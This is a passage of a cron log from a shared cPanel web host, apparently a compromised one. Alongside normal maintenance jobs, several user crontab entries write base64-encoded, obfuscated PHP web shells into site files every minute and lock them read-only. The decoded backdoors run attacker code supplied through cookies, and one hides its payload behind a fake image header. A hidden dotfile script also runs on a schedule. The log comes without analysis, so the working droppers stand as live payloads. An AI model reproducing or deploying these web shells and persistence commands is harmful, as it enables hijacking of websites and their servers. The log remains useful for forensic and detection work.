I6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:14:01 medusa CROND[19668]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 07:14:01 medusa CROND[19669]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:14:01 medusa CROND[19670]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:14:01 medusa CROND[19673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:14:01 medusa CROND[19675]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:14:01 medusa CROND[19674]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:14:01 medusa CROND[19678]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:14:01 medusa CROND[19679]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:14:01 medusa CROND[19681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:14:01 medusa CROND[19682]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:14:01 medusa CROND[19683]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:15:02 medusa CROND[21553]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 07:15:02 medusa CROND[21555]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 07:15:02 medusa CROND[21566]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:15:02 medusa CROND[21567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:15:02 medusa CROND[21568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:15:02 medusa CROND[21571]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 07:15:02 medusa CROND[21570]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 07:15:02 medusa CROND[21572]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 07:15:02 medusa CROND[21573]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 07:15:02 medusa CROND[21576]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 07:15:02 medusa CROND[21583]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:15:02 medusa CROND[21584]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:15:02 medusa CROND[21585]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:15:02 medusa CROND[21587]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:15:02 medusa CROND[21588]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 07:15:02 medusa CROND[21591]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 07:15:02 medusa CROND[21594]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:15:02 medusa CROND[21582]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 07:15:02 medusa CROND[21604]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:15:02 medusa CROND[21606]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:15:02 medusa CROND[21605]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 07:15:02 medusa CROND[21607]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:15:02 medusa CROND[21609]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 07:16:01 medusa CROND[23835]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 07:16:01 medusa CROND[23849]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:16:02 medusa CROND[23882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:16:02 medusa CROND[23883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:16:02 medusa CROND[23885]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:16:02 medusa CROND[23886]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:16:02 medusa CROND[23887]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:16:02 medusa CROND[23889]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
